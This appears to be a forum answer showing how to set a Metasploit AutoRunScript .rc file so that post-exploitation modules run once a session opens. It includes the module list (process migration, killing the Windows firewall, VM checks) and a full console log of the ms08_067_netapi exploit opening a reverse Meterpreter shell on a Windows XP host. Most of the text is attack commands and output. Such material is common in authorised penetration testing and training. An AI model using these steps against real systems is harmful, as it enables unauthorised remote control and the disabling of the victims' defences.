Yeah sure! you can define a file with commands (.rc file) and set that file as autoexecutable.
msf > set AutoRunScript multi_console_command -rc /root/autoruncommands.rc
Put inside .rc file the commands you want to launch:
run post/windows/manage/migrate
run post/windows/manage/killfw
run post/windows/gather/checkvm
Then, after a session is created they will be executed automatically:
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 10.10.200.40:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 10.10.101.11
[*] Meterpreter session 6 opened (10.10.200.40:4444 -> 10.10.101.11:1125) at 2012-04-22 17:58:16 -0400
meterpreter >
[*] Session ID 6 (10.10.200.40:4444 -> 10.10.101.11:1125) processing AutoRunScript 'multi_console_command -rc /root/autoruncommands.rc'
[*] Running Command List ...
[*] Running command run post/windows/manage/migrate
[*] Running module against XPVM-SP2
[*] Current server process: svchost.exe (1324)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3984
[+] Successfully migrated to process 3984
[*] Running command run post/windows/manage/killfw
[+] Killing Windows Firewall...
[+] Done!
[*] Running command run post/windows/gather/checkvm
[*] Checking if XPVM-SP2 is a Virtual Machine .....
[*] This is a VMware Virtual Machine
Extracted from here. I copied and pasted the same example because is enough to explain it. And check the link, it has more interesting stuff.